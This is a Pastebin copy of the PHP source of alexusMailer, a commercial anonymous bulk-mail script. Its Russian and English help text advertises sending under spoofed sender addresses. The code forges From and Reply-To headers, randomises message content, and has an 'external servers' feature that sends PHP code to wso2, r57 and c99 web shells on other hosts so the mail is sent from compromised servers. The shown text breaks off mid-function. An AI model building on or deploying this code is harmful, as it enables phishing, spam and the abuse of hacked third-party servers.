PalmaSolutions

www.php

Feb 9th, 2019
272
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 99.10 KB | None | 0 0
  1. <?php $logpass=""; //FORMAT: md5(loginIMAILpassword); ?>
  2. <?php
  3. ini_set('display_errors',0);//1
  4. ini_set('display_startup_errors',0);//1
  5. error_reporting(0);//-1
  6. ?>
  7. <?php header('Content-type: text/html; charset=utf-8;'); ?>
  8. <?php
  9. #Alexus(240980845) - http://www.a-l-e-x-u-s.ru/
  10. #CREATED AT 15.12.2011
  11. #UPD 02.04.2012 v 1.1
  12. #UPD 10.04.2012 v 1.2
  13. #UPD 30.05.2012 v 1.3
  14. #UPD 02.06.2012 v 1.3.1
  15. #UPD 20.10.2012 v 1.4
  16. #UPD 16.02.2013 v 1.5
  17. #UPD 15.04.2013 v 1.5.1
  18. #UPD 01.06.2013 v 1.6
  19. #UPD 15.09.2013 v 1.6.5
  20. #UOD 30.04.2014 v 1.7
  21. #UPD 11.08.2014 v 1.7.1
  22. #UPD 02.10.2014 v 1.7.2
  23. define("VERSION", "1.7");
  24. $boundary="--".randomstr(10);
  25.  
  26. $lang="ru";
  27. if (isset($_COOKIE['translation']))
  28.     $lang=$_COOKIE['translation'];
  29. if(isset($_POST['PROXY'])) {
  30.     $proxy_server=parse_url($_POST['PROXY']);
  31.     define("PROXY",$proxy_server['host'].":".$proxy_server['port']);
  32. }
  33.  
  34. $translation=array(
  35.     'ru'=>array(
  36.         'status-idle'=>'простаиваем',
  37.         'status-sending'=>'рассылка',
  38.         'status-pause'=>'пауза',
  39.         'process-resume'=>'Возобновить',
  40.         'process-pause'=>'Приостановить',
  41.         'process-cancel'=>'Отменить',
  42.         'settings-primary'=>'Основные',
  43.         'settings-outservers'=>'Внешние сервера',
  44.         'settings-security'=>'Безопасность',
  45.         'settings-history-length'=>'Длина истории отправки',
  46.         'settings-outservers-doc'=>'Подробное описание работы с внешнеми серверами смотрите в <a href="http://mailer.a-l-e-x-u-s.ru/docs/alexusMailer_v1.7.ru.pdf"><span class="label label-warning">документации</span></a>',
  47.         'settings-outservers-check'=>'<button class="btn" onclick="pingoutservers()">Проверить сервера</button> (недоступные будут автоматически удалены из списка)',
  48.         'settings-outservers-check-log'=>'Лог проверки:',
  49.         'settings-security-notwritable'=>' Отсутствует доступ на запись к скрипту! Смена пароля невозможна. <b>Измените права на 666</b> на время смены пароля.',
  50.         'settings-security-password-changed'=>'Пароль успешно изменен!',
  51.         'settings-security-password-not-changed'=>'При изменении пароля произошла ошибка, возможно файл скрипта недоступен на запись.',
  52.         'settings-security-set-password'=>'Установить пароль',
  53.         'settings-security-remove-password'=>'Удалить пароль',
  54.         'settings-security-use-proxy'=>'Использовать http прокси',
  55.         'main'=>'Главная',
  56.         'help'=>'Помощь',
  57.         'login'=>'Логин',
  58.         'password'=>'Пароль',
  59.         'settings'=>'Настройки',
  60.         'name'=>'йаПосылалка',
  61.         'title_service'=>'Сервис анонимной отправки почты с подменой адреса',
  62.         'description_service'=>'Сервис анонимной отправки электронной почты с подменой адреса и прикреплением файлов йаПосылалка',
  63.         'keywords_service'=>'Сервис анонимной отправки почты,анонимная отправка почты, анонимная отправка электронных сообшений, анонимная отправка сообшений, анонимное письмо, анонимный e mail ,отправить анонимный e mail,анонимная отправка e mail',
  64.         'need_auth'=>'Для доступа необходима авторизация.',
  65.         'wronglogpas'=>'Неправильный логин или пароль.',
  66.         'sendedto'=>'Отправлено на ',
  67.         'badcaptcha'=>'Неправильная captcha',
  68.         'sendlimit'=>'Лимит отправок 1 в час',
  69.         'sendavailable'=>'Отправка доступна',
  70.         'sendlessminute'=>'Отправка менее чем через минуту',
  71.         'sendafter'=>'Отправка через ',
  72.         'sendafter2'=>' минут',
  73.         'attachfile'=>'Прикрепление файла',
  74.         'close'=>'Закрыть',
  75.         'upload'=>'Загрузить',
  76.         'uploadlist'=>'Загрузка списка',
  77.         'uploadtemplate'=>'Загрузка шаблона',
  78.         'preview'=>'Предпросмотр',
  79.         'donatedevelopment'=>'Спонсировать разработку',
  80.         'techsupport'=>'Техническая поддержка',
  81.         'settings'=>'Настройки',
  82.         'threadsnum'=>'Количество потоков:',
  83.         'timeoutlen'=>'Длительность задржки в секундах:',
  84.         'useoutservers'=>'Использовать внешние серверы для отправки',
  85.         'unavalable_in_service'=>'недоступно в режиме сервиса',
  86.         'less'=>'Меньше',
  87.         'more'=>'Больше',
  88.         'delete'=>'Удалить',
  89.         'status'=>'Статус',
  90.         'recipient'=>'Кому',
  91.         'fromname'=>'От кого, имя',
  92.         'frommail'=>'От кого, адрес email',
  93.         'replymail'=>'Адрес ответа, email',
  94.         'subject'=>'Тема',
  95.         'subject_example'=>'выращивание бамбука под кроватью',
  96.         'addfield'=>'Дополнительное поле',
  97.         'addfield2'=>'доп. поле',
  98.         'mailtype'=>'Тип письма',
  99.         'plaintext'=>'обычный текст',
  100.         'withformating'=>'с форматированием',
  101.         'htmle'=>'html с переносом картинок в аттач',
  102.         'captcha'=>'Проверочный код',
  103.         'save'=>'Сохранить',
  104.         'load'=>'Загрузить',
  105.         'send'=>'Отправить',
  106.         'backtoeditor'=>'Вернуться к редактированию',
  107.         'hellopage'=>'<center><h2>Сервис йаПосылалка</h2></center>
  108.                 <p>
  109.                    
  110.                     Сервис йаПосылалка создан на базе одноименного скрипта анонимной отправки электронной почты.
  111.                     Для сервиса всегда используется последняя версия скрипта, но при этом сервис имеет некоторые ограничения
  112.                     для защиты его от использования в качестве спамера.
  113.                     <br><b>Ограничения:</b><br>
  114.                     <ol>
  115.                         <li>Разрешено отправлять одно письмо в час</li>
  116.                         <li>Для отправки необходимо вводить капчу</li>
  117.                         <li>Отображается реклама</li>
  118.                     </ol>
  119.                     <b>Сервис анонимной отправки почты абсолютно бесплатен</b> и существует в первую очедь в демонстрационных целях.<br>
  120.                     <center><button class="btn btn-primary btn-large prime-button">Отправить письмо</button></center>                   
  121.                 </p>
  122.                 <p>
  123.                     Последнюю версию скрипта анонимной отправки для установки на своём сервере можно <b>купить за 25$ или 750 рублей</b>.
  124.                     <br>В ней <b>отсутствуют все ограничения</b> на отправку, и обеспечиваются:<br>
  125.                     <ol>
  126.                         <li>Помощь по использованию и установке</li>
  127.                         <li>Исправление найденых ошибок</li>
  128.                         <li>Приоритетный приём заявок по доработке</li>
  129.                         <li>Обновления в пределах текущей ветки</li>
  130.                     </ol>
  131.                     <center><a href="/buy/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Купить</a></center>
  132.                 </p>
  133.                 <p>
  134.                     У йаПосылалка существует <b>высокодоходная партнёрская программа</b>, если человек купит скрипт по вашей партнёрской ссылке,
  135.                     вы получаете <b>50% от стоимости</b> скрипта (12.5$ или 325 рублей) с каждой продажи.<br>
  136.                     <center><a href="/partner/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Стать партнёром!</a></center>
  137.                 </p>
  138.  
  139.                 <script type="text/javascript">(function() {
  140.                   if (window.pluso)if (typeof window.pluso.start == "function") return;
  141.                   var d = document, s = d.createElement(\'script\'), g = \'getElementsByTagName\';
  142.                   s.type = \'text/javascript\'; s.charset=\'UTF-8\'; s.async = true;
  143.                   s.src = (\'https:\' == window.location.protocol ? \'https\' : \'http\')  + \'://share.pluso.ru/pluso-like.js\';
  144.                   var h=d[g](\'head\')[0] || d[g](\'body\')[0];
  145.                   h.appendChild(s);
  146.                   })();</script>
  147.                 <div data-description="Сервис анонимной отправки электронной почты с подменой адреса и прикреплением файлов йаПосылалка" data-title="Сервис анонимной отправки почты с подменой адреса - йаПосылалка" data-url="http://mailer.a-l-e-x-u-s.ru/" class="pluso" data-options="big,square,line,horizontal,counter,theme=08" data-services="vkontakte,odnoklassniki,facebook,twitter,google,moimir,email,print" data-background="#ebebeb"></div>
  148.                
  149.                 <div id="vk_comments"></div>
  150.                 <script type="text/javascript">
  151.                 VK.Widgets.Comments("vk_comments", {limit: 10, width: "660", attach: false, norealtime:1}, "mailer.a-l-e-x-u-s.ru");
  152.                 </script>',
  153.         'helppage'=>'<h2>Справка</h2>
  154.                 <h3>Что это?</h3>
  155.                 Сервис анонимной отправки email сообщений с произвольного/чужого адреса в текстовом или html формате.<br>
  156.                 <b>Формат html(e)</b> позволяет автоматически перенести в attach картинки из тегов img или атрибута background, что делает письмо автономным и не требует внешнего сервера для корректного отображения.
  157.                 Так же в почтовых клиентах (the bat, outlook, ...) картинки отображаются сразу.<br>
  158.                 <b>esreveR</b> меняет символы в обратном порядке и устанавливает css для их отображения в верном порядке.<br>
  159.                 <b>Предпросмотр</b> позволяет посмотреть как будет выглядеть письмо когда все макросы будут заменены.<br>
  160.                 <b>Сохранение\Загрука</b> позволяет экономить время и делать шаблоны для часто используемых писем.<br>
  161.                 <b>Подгрузка списка</b> адресатов возможна нажатием на кнопку рядом с соотв. полем.<br>
  162.                 <b>Задержка</b> между отправкой писем<br>
  163.                 <b>Внешние серверы</b> для распределения рассылки между разными йаПосылалками <br><b style="color:red;">Перед использованием внешних посылалок проверьте корректность их работы на сервере</b>
  164.                 <br><br><a href="http://mailer.a-l-e-x-u-s.ru/docs/alexusMailer_v1.7.ru.pdf"><span class="label label-warning"><i class="icon-file icon-white"></i> Скачать полную документацию</span></a>
  165.                 <hr>
  166.                 <h3>Макросы (в теле письма и в заголовках)</h3>
  167.                 <ul>
  168.                     <li>Кому - <b>[TO-EMAIL]</b></li>
  169.                     <li>От кого, имя - <b>[FROM-NAME]</b></li>
  170.                     <li>От кого, адрес email - <b>[FROM-EMAIL]</b></li>
  171.                     <li>Тема - <b>[THEME]</b></li>
  172.                     <li>Дополнительное поле - <b>[ADD0]</b> , <b>[ADD1]</b>, <b>[ADD2]</b> ...</li>
  173.                     <li>Случайное число (5000..6000)- <b>[RAND]</b></li>
  174.                     <li>Случайное число (от A до B)- <b>[RAND-A-B]</b> , например <b>[RAND-10-99]</b></li>
  175.                     <li>Случайный текст - <b>[RAND:text1|text2|...]</b> , например <b>[RAND:hello dude|hello|hi|wazzup]</b></li>
  176.                     <li>Перечисление - <b>[ENUM:text1|text2|...]</b> , например <b>[ENUM:здравствуйте|привет|как дела]</b></li>
  177.                  </ul>
  178.                  <h3>Макросы даты и времени</h3>
  179.                  <ul>
  180.                     <li><b>[DATE]</b> - Текущая дата (<b>[DATE-4]</b> - Текущая дата минус 4 дня) (<b>[DATE+4]</b> - Текущая дата плюс 4 дня)
  181.                         <ul>
  182.                             <li><b>[DAY]</b> - Текущий день (<b>[DAY+3]</b> - Текущий день плюс 3 дня)</li>
  183.                             <li><b>[MONTH]</b> - Текущий месяц (<b>[MONTH-2]</b> - Текущий месяц минус 2 месяца)</li>
  184.                             <li><b>[YEAR]</b> - Текущий год (<b>[YEAR-1]</b> - Текущий год минус 1 год)</li>
  185.                         </ul>
  186.                     </li>
  187.                     <li><b>[TIME]</b> - Текущее время (<b>[TIME-4]</b> - Текущее время минус 4 минуты)
  188.                         <ul>
  189.                             <li><b>[HOUR]</b> - Текущий час (<b>[HOUR-3]</b> - Текущий час минус 3 часа)</li>
  190.                             <li><b>[MINUTE]</b> - Текущий месяц (<b>[MINUTE-2]</b> - Текущая минута минус 2 минуты)</li>
  191.                         </ul>
  192.                     </li>
  193.                  </ul>
  194.                 <hr>
  195.                 Внимание! Сервис предоставлен исключительно для ознакомления. Ответственность за возможно незаконное использование несете только Вы.'
  196.     ),
  197.     'en'=>array(
  198.         'status-idle'=>'Idle',
  199.         'status-sending'=>'Sending',
  200.         'status-pause'=>'Pause',
  201.         'process-resume'=>'Resume',
  202.         'process-pause'=>'Pause',
  203.         'process-cancel'=>'Cancel',
  204.         'settings-primary'=>'Primary',
  205.         'settings-outservers'=>'External servers',
  206.         'settings-security'=>'Security',
  207.         'settings-history-length'=>'History max length',
  208.         'settings-outservers-doc'=>'Read <a href="http://mailer.a-l-e-x-u-s.ru/docs/alexusMailer_v1.7.en.pdf"><span class="label label-warning">documentation</span></a> to learn more about external servers.',
  209.         'settings-outservers-check'=>'<button class="btn" onclick="pingoutservers()">Check servers</button> (Unavailable will be auto-removed)',
  210.         'settings-outservers-check-log'=>'Check log:',
  211.         'settings-security-notwritable'=>'Script file is not writable! Password change imposible. <b>Change file rights to 666</b> for password change.',
  212.         'settings-security-password-changed'=>'Password succesfully changed!',
  213.         'settings-security-password-not-changed'=>'There was an error during pass change, may be script file is not writable.',
  214.         'settings-security-set-password'=>'Set password',
  215.         'settings-security-remove-password'=>'Remove password',
  216.         'settings-security-use-proxy'=>'Use http proxy',
  217.         'main'=>'Primary',
  218.         'help'=>'Help',
  219.         'login'=>'Login',
  220.         'password'=>'Password',
  221.         'settings'=>'Settings',
  222.         'backtoeditor'=>'Back to editor',
  223.         'name'=>'alexusMailer',
  224.         'title_service'=>'Anonymous e-mail service',
  225.         'description_service'=>'Сервис анонимной отправки электронной почты с подменой адреса и прикреплением файлов йаПосылалка',
  226.         'keywords_service'=>'Сервис анонимной отправки почты,анонимная отправка почты, анонимная отправка электронных сообшений, анонимная отправка сообшений, анонимное письмо, анонимный e mail ,отправить анонимный e mail,анонимная отправка e mail',
  227.         'need_auth'=>'Authentification required!',
  228.         'wronglogpas'=>'Wrong login or password!',
  229.         'sendedto'=>'Sended to ',
  230.         'badcaptcha'=>'Wrong security code',
  231.         'sendlimit'=>'Sending limit is 1 per hour',
  232.         'sendavailable'=>'Sending available',
  233.         'sendlessminute'=>'Sending will be available less in one minute',
  234.         'sendafter'=>'Sending after ',
  235.         'sendafter2'=>' minutes',
  236.         'attachfile'=>'Attach file',
  237.         'close'=>'Close',
  238.         'upload'=>'Upload',
  239.         'uploadlist'=>'Upload list',
  240.         'uploadtemplate'=>'Upload template',
  241.         'preview'=>'Preview',
  242.         'donatedevelopment'=>'Donate to developer',
  243.         'techsupport'=>'Tech Support',
  244.         'settings'=>'Settings',
  245.         'threadsnum'=>'Thread nubmer:',
  246.         'timeoutlen'=>'Timeout in seconds:',
  247.         'useoutservers'=>'Use external servers for sending',
  248.         'unavalable_in_service'=>'unavailable in service mode',
  249.         'less'=>'Less',
  250.         'more'=>'More',
  251.         'delete'=>'Delete',
  252.         'status'=>'Status',
  253.         'recipient'=>'Recipient',
  254.         'fromname'=>'From, name',
  255.         'frommail'=>'From, email',
  256.         'replymail'=>'Reply-to, email',
  257.         'subject'=>'Subject',
  258.         'subject_example'=>'Growing bamboo under the bed',
  259.         'addfield'=>'Additional field',
  260.         'addfield2'=>'add. field',
  261.         'mailtype'=>'Mail type',
  262.         'plaintext'=>'plain text',
  263.         'withformating'=>'with formating',
  264.         'htmle'=>'html with image auto-attach',
  265.         'captcha'=>'Security code',
  266.         'save'=>'Save',
  267.         'load'=>'Load',
  268.         'send'=>'Send',
  269.         'hellopage'=>'<center><h2>alexusMailer service</h2></center>
  270.                 <p>
  271.                     alexusMailer service is based on the eponymous script to send an anonymous e-mail.
  272.                     For this service is always used the latest version of the alexusMailer, but it have some limitations to protect it from being used as a spammer.
  273.                     <br><b>Limitations:</b><br>
  274.                     <ol>
  275.                         <li>Allowed to send one letter per hour</li>
  276.                         <li>To send you must enter the captcha</li>
  277.                         <li>Advertisement</li>
  278.                     </ol>
  279.                     <b>Anonymous mailing service is completely free</b> and exists in demonstration purposes.<br>
  280.                     <center><button class="btn btn-primary btn-large prime-button">Send mail</button></center>                 
  281.                 </p>
  282.                 <p>
  283.                     You can by the latest version of alexusMailer - anonymous mailing script for installing on your own server <b>for 25 USD</b>.
  284.                     <br>This version <b>have no any limitations</b> and gives you:<br>
  285.                     <ol>
  286.                         <li>Full support in installation and using</li>
  287.                         <li>Fixing of all errors you can find</li>
  288.                         <li>Priority accepting applications for upgrading</li>
  289.                         <li>Free updates in current major version (1.*)</li>
  290.                     </ol>
  291.                     <center><a href="/en/buy/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Buy alexusMailer</a></center>
  292.                 </p>
  293.                 <p>
  294.                     alexusMailer has a <b>highly profitable partnership program</b>, if a person buys alexusMailer on your affiliate link
  295.                     you get <b>50% of the cost</b> (12.5 USD) per sale.<br>
  296.                     <center><a href="/en/partner/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Became a partner!</a></center>
  297.                 </p>
  298.  
  299.                 <script type="text/javascript">(function() {
  300.                   if (window.pluso)if (typeof window.pluso.start == "function") return;
  301.                   var d = document, s = d.createElement(\'script\'), g = \'getElementsByTagName\';
  302.                   s.type = \'text/javascript\'; s.charset=\'UTF-8\'; s.async = true;
  303.                   s.src = (\'https:\' == window.location.protocol ? \'https\' : \'http\')  + \'://share.pluso.ru/pluso-like.js\';
  304.                   var h=d[g](\'head\')[0] || d[g](\'body\')[0];
  305.                   h.appendChild(s);
  306.                   })();</script>
  307.                 <div data-description="Anonymous e-mail service with attaching files - alexusMailer" data-title="Anonymous remailer - alexusMailer" data-url="http://mailer.a-l-e-x-u-s.ru/en/" class="pluso" data-options="big,square,line,horizontal,counter,theme=08" data-services="vkontakte,odnoklassniki,facebook,twitter,google,moimir,email,print" data-background="#ebebeb"></div>
  308.                 ',
  309.         'helppage'=>'<h2>Help</h2>
  310.                 <h3>What is it?</h3>
  311.                 Anonymous mailing service from random or foreign email in plain text or html format.<br>
  312.                 <b>Format html(e)</b> allows automatically move images from img tag or background attribute to attach, what makes letter independent from external server for correct display.
  313.                 Also in e-mail clients (the bat, outlook, ...) will be displayed immediately.<br>
  314.                 <b>esreveR</b> change symbol possition in back order and set css for correct display in mail.<br>
  315.                 <b>Preview</b> can hepl to see how mail will look after all macro will be replaced.<br>
  316.                 <b>Save\Load</b> is helpful in making collection of regular mailing templates.<br>
  317.                 <b>Recipient list loading</b> available by clicking on button near the recipient field.<br>
  318.                 <b>Timeout</b> between sending mails.<br>
  319.                 <b>External servers</b> for distributing you mails between different servers <br><b style="color:red;">Before using external servers ensure that they work correct.</b>
  320.                 <br><br><a href="http://mailer.a-l-e-x-u-s.ru/docs/alexusMailer_v1.7.en.pdf"><span class="label label-warning"><i class="icon-file icon-white"></i> Download full documentation</span></a>
  321.                 <hr>
  322.                 <h3>Macro (in mail body, headers and additional fields)</h3>
  323.                 <ul>
  324.                     <li>Recipient - <b>[TO-EMAIL]</b></li>
  325.                     <li>From, name - <b>[FROM-NAME]</b></li>
  326.                     <li>From, email - <b>[FROM-EMAIL]</b></li>
  327.                     <li>Subject - <b>[THEME]</b></li>
  328.                     <li>Additional field - <b>[ADD0]</b> , <b>[ADD1]</b>, <b>[ADD2]</b> ...</li>
  329.                     <li>Random number (5000..6000)- <b>[RAND]</b></li>
  330.                     <li>Random number (from A to B)- <b>[RAND-A-B]</b> , example <b>[RAND-10-99]</b></li>
  331.                     <li>Random text - <b>[RAND:text1|text2|...]</b> , example <b>[RAND:hello dude|hello|hi|wazzup]</b></li>
  332.                     <li>Enumeration - <b>[ENUM:text1|text2|...]</b> , example <b>[ENUM:wellcome|hi|how are you]</b></li>
  333.                  </ul>
  334.                  <h3>Macro for date and time</h3>
  335.                  <ul>
  336.                     <li><b>[DATE]</b> - Current date (<b>[DATE-4]</b> - Current date minus 4 days) (<b>[DATE+4]</b> - Current date plus 4 days)
  337.                         <ul>
  338.                             <li><b>[DAY]</b> - Current day (<b>[DAY+3]</b> - Current day plus 3 days)</li>
  339.                             <li><b>[MONTH]</b> - Current month (<b>[MONTH-2]</b> - Current month minus 2 months)</li>
  340.                             <li><b>[YEAR]</b> - Current year (<b>[YEAR-1]</b> - Current year minus 1 year)</li>
  341.                         </ul>
  342.                     </li>
  343.                     <li><b>[TIME]</b> - Current time (<b>[TIME-4]</b> - Current time minus 4 minutes)
  344.                         <ul>
  345.                             <li><b>[HOUR]</b> - Current hour (<b>[HOUR-3]</b> - Current hour minus 3 hours)</li>
  346.                             <li><b>[MINUTE]</b> - Current minute (<b>[MINUTE-2]</b> - Current minute minus 2 minutes)</li>
  347.                         </ul>
  348.                     </li>
  349.                  </ul>
  350.                 <hr>
  351.                 Warning! This service was created only in demonstration purposes. All responsibility for out law actions is only on you!'
  352.     )  
  353. );
  354. function tr($name, $iface=true) {
  355.     global $lang, $translation;
  356.     if($iface)
  357.         print "<span class='tr-$name'>".$translation[$lang][$name]."</span>";
  358.     else
  359.         print $translation[$lang][$name];
  360.     return;
  361. }
  362.  
  363. if($logpass!="") {
  364.     if(!isset($_SERVER['PHP_AUTH_USER'])) {
  365.         header('WWW-Authenticate: Basic realm="IMAIL"');
  366.         header('HTTP/1.0 401 Unauthorized');
  367.         print tr('need_auth',false);
  368.         exit;
  369.     } else {
  370.         if(md5($_SERVER['PHP_AUTH_USER']."IMAIL".$_SERVER['PHP_AUTH_PW'])!=$logpass) {
  371.             header('WWW-Authenticate: Basic realm="IMAIL"');
  372.             header('HTTP/1.0 401 Unauthorized');
  373.             print tr('wronglogpas',false);
  374.             exit;
  375.         }
  376.     }
  377. }
  378.  
  379. if (get_magic_quotes_gpc()) {
  380.     function stripslashes_deep($value)
  381.     {
  382.         $value = is_array($value) ?
  383.                     array_map('stripslashes_deep', $value) :
  384.                     stripslashes($value);
  385.  
  386.         return $value;
  387.     }
  388.  
  389.     $_POST = array_map('stripslashes_deep', $_POST);
  390.     $_GET = array_map('stripslashes_deep', $_GET);
  391.     $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
  392.     $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
  393. }
  394.  
  395.  
  396.  
  397. if($_SERVER['QUERY_STRING']=="send" || $_SERVER['QUERY_STRING']=="preview") {
  398.     $email=array(
  399.         to=>        $_POST['to'],
  400.         fromname=>  $_POST['fromname'],
  401.         frommail=>  $_POST['frommail'],
  402.         replymail=> $_POST['replymail'],
  403.         tema=>      $_POST['tema'],
  404.         additional=>$_POST['additional'],
  405.         text=>      $_POST['text'],
  406.         enumer=>    $_SERVER['QUERY_STRING']=="preview"?1:$_POST['enumer'] 
  407.     );
  408.     //замена списочных значений
  409.     $email[fromname]=applyEnumer($email[fromname], $email[enumer]);
  410.     $email[frommail]=applyEnumer($email[frommail], $email[enumer]);
  411.     $email[replymail]=applyEnumer($email[replymail], $email[enumer]);
  412.     $email[tema]=applyEnumer($email[tema], $email[enumer]);
  413.  
  414.     ReplaceFileTemplate($email[to], $email);
  415.     if($_POST['type']=='text')
  416.         $tip="text/plain";
  417.     else
  418.         $tip="text/html";
  419.  
  420.         ReplaceTemplates($email[text], $email);
  421.     ReplaceTemplates($email[fromname], $email);
  422.     ReplaceTemplates($email[frommail], $email);
  423.     ReplaceTemplates($email[tema], $email);
  424.     foreach ($email[additional] as $key => $value)
  425.         ReplaceTemplates($email[additional][$key], $email);
  426.  
  427.     $fromname=trim($email[fromname]); $fromname=substr($fromname,0,100);
  428.     $frommail=trim($email[frommail]);  $frommail=substr($frommail,0,100);
  429.    
  430.     $from="=?UTF-8?B?".base64_encode($fromname)."?= <$frommail>";
  431.     $tema=$email[tema];
  432.  
  433.     $header="From: $from\n";
  434.     //$header.="Subject: $tema\n";
  435.     $header.="Content-type: $tip; charset=utf-8\n";
  436.     if(trim($email[replymail])!='')
  437.         $header.="Reply-To: {$email[replymail]}\n";
  438.  
  439.     if($_SERVER['QUERY_STRING']=="preview") {
  440.         print $email[text];
  441.         exit;
  442.     }
  443.     if($_POST['type']=='htmle' || isset($_POST['files'])) {
  444.         $header="From: $from\n";
  445.         //$header.="Subject: $tema\n";
  446.         $header.="MIME-Version: 1.0;\n";
  447.         $header.="Content-type: multipart/mixed; boundary=\"$boundary\"\n";
  448.         if(trim($email[replymail])!='')
  449.             $header.="Reply-To: {$email[replymail]}\n";
  450.  
  451.         $content="--$boundary\n";
  452.         $content.="Content-type: text/html; charset=\"utf-8\"\n";
  453.         $content.="Content-Transfer-Encoding: 8bit\n\n";
  454.     }
  455.  
  456.     if($_POST['type']=='htmle') {
  457.         preg_match_all('~<img.*?src=\"(.+?)\".*?>~si',$email[text],$matches);
  458.         preg_match_all('~background="(.+?)"~si',$email[text],$matches2);
  459.  
  460.         $img_matches=array_merge($matches[1],$matches2[1]);
  461.         $i = 0;
  462.         $paths = array();
  463.  
  464.         foreach ($img_matches as $img) {
  465.             if($paths[$i-1]['path']==$img) continue;
  466.             $paths[$i]['path']=$img;
  467.             if(preg_match("/\.gif/i", $img)) {
  468.                 $paths[$i]['type']='gif';
  469.             } else if(preg_match("/\.png/i", $img)) {
  470.                 $paths[$i]['type']='png';
  471.             } else if(preg_match("/\.(jpeg|jpg)/i", $img)) {
  472.                 $paths[$i]['type']='jpeg';
  473.             } else {
  474.                 $paths[$i]['type']='unknown';
  475.             }
  476.             $paths[$i]['cid']=md5($img);
  477.             $email[text] = str_replace($img,'cid:'.$paths[$i]['cid'],$email[text]);
  478.            
  479.             $i++;          
  480.         }
  481.  
  482.         $content.=$email[text]."\n";
  483.         if(isset($_POST['files'])) $content.=makeAttach(json_decode($_POST['files'], true), $boundary);
  484.  
  485.         foreach($paths as $img) {
  486.             $content.="--$boundary\n";
  487.             if($img['type']=="unknown")
  488.                 $content.="Content-Type: application/octet-stream; name=\"".$img['cid'].".png\"\n";
  489.             else
  490.                 $content.="Content-Type: image/".$img['type']."; name=\"".$img['cid'].".".$img['type']."\"\n";
  491.             $content.="Content-Transfer-Encoding:base64\n";
  492.             $content.="Content-ID: <".$img['cid'].">\n\n";
  493.             $content.=chunk_split(base64_encode(file_get_contents($img['path'])))."\n";
  494.         }
  495.         $content.="--$boundary--\n";
  496.     } elseif(isset($_POST['files'])) {
  497.         $content.=$email[text]."\n";
  498.         $content.=makeAttach(json_decode($_POST['files'], true), $boundary);
  499.         $content.="--$boundary--\n";
  500.     } else {
  501.         $content=$email['text'];
  502.     }
  503. /**
  504. Зона дебага
  505. Симулируем отправку(медленно и четко)
  506. */
  507. /*sleep(1);
  508. echo tr('sendedto',false).$email[to];
  509. exit;*/
  510.  
  511. /**
  512. Зона дебага
  513. */
  514.     if($_SERVER['QUERY_STRING']=="send" && isset($_POST['outserver'])) {
  515.         $data=json_encode(array(
  516.                 'to'=>$email[to],
  517.                 'subject'=>$tema,
  518.                 'content'=>base64_encode($content),
  519.                 'header'=>$header
  520.             )
  521.         );
  522.        
  523.        
  524.         $code="\$hide=array('PHP_SELF'=>'','SCRIPT_FILENAME'=>'','REQUEST_URI'=>'','SCRIPT_NAME'=>'');while(list(\$key,)=each(\$hide)){\$hide[\$key]=\$_SERVER[\$key];\$_SERVER[\$key]='/';}\$data=json_decode('{$data}',true);mail(\$data['to'],\$data['subject'],base64_decode(\$data['content']),\$data['header']);reset(\$hide);while(list(\$key,)=each(\$hide))\$_SERVER[\$key]=\$hide[\$key];print 'sended';";
  525.         $outserver=$_POST['outserver'];
  526.         list($url,$type,$pass)=explode("|",$outserver);
  527.         if($type=="wso2") {
  528.             $answer=wso2exec($url,$pass,$code);
  529.             print $answer=="sended"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer;
  530.             exit;
  531.         } elseif($type=="r57") {
  532.             list($login,$pass)=explode(":", $pass);
  533.             $answer=r572exec($url,$login,$pass,$code);
  534.             print $answer=="sended"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer;
  535.             exit;
  536.         } elseif($type=="c99") {
  537.             list($login,$pass)=explode(":", $pass);
  538.             $answer=c992exec($url,$login,$pass,$code);
  539.             print $answer=="sended"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer;
  540.             exit;
  541.         } elseif($type=="ars") {
  542.             //list($login,$pass)=explode(":", $pass);
  543.             $answer=ars2exec($url,$pass,"mail",$data);
  544.             print $answer['status']=="GOOD"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer;
  545.             exit;
  546.         } else {
  547.             print "WRONG OUT SERVER TYPE";
  548.             exit;
  549.         }
  550.     } else {
  551.         //print $content;
  552.         //print $header;
  553.         if(function_exists("mb_orig_mail"))
  554.             mb_orig_mail($email[to], $tema, $content, $header);
  555.         else
  556.             mail($email[to], $tema, $content, $header);
  557.        
  558.     }
  559.        
  560.     echo tr('sendedto',false).$email[to];
  561.     exit;
  562. } elseif ($_SERVER['QUERY_STRING']=="send_from_template") {
  563.     $template=str_replace("&amp;", "&", $_POST['template']);
  564.     list($template,$text)=explode("[TEXT]", $template);
  565.     $content=explode("\n", $template);
  566.     $post=array();
  567.     $post['to']=$_POST['to'];
  568.     $post['replymail']=$_POST['replymail'];
  569.     $post['text']=$text;
  570.     for($i=0; $i<count($content);$i++) {
  571.         if(strpos($content[$i], "[FROM-NAME]")!==false) {
  572.             $content[$i]=str_replace("[FROM-NAME]","",$content[$i]);
  573.             $post['fromname']=$content[$i];
  574.         } elseif(strpos($content[$i], "[FROM-EMAIL]")!==false) {
  575.             $content[$i]=str_replace("[FROM-EMAIL]","",$content[$i]);
  576.             $post['frommail']=$content[$i];
  577.         } elseif(strpos($content[$i], "[THEME]")!==false) {
  578.             $content[$i]=str_replace("[THEME]","",$content[$i]);
  579.             $post['tema']=$content[$i];
  580.         } elseif(strpos($content[$i], "[TYPE]")!==false) {
  581.             $content[$i]=str_replace("[TYPE]","",$content[$i]);
  582.             $post['type']=$content[$i];
  583.         } elseif(strpos($content[$i], "[FILES]")!==false) {
  584.             $content[$i]=str_replace("[FILES]","",$content[$i]);
  585.             $post['files']=$content[$i];
  586.         } elseif(strpos($content[$i], "[ADD")!==false) {
  587.             $result=preg_match("/\[ADD(\d+)\]/", $content[$i], $arr);
  588.             $post['additional['.$arr[1].']']=str_replace($arr[0], "", $content[$i]);
  589.         }
  590.     }
  591.     //print_r($post);
  592.     $requrl='http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?send';
  593.     //print $requrl.PHP_EOL;
  594.     $headers=array();
  595.     $headers[]='Content-type: application/x-www-form-urlencoded';
  596.  
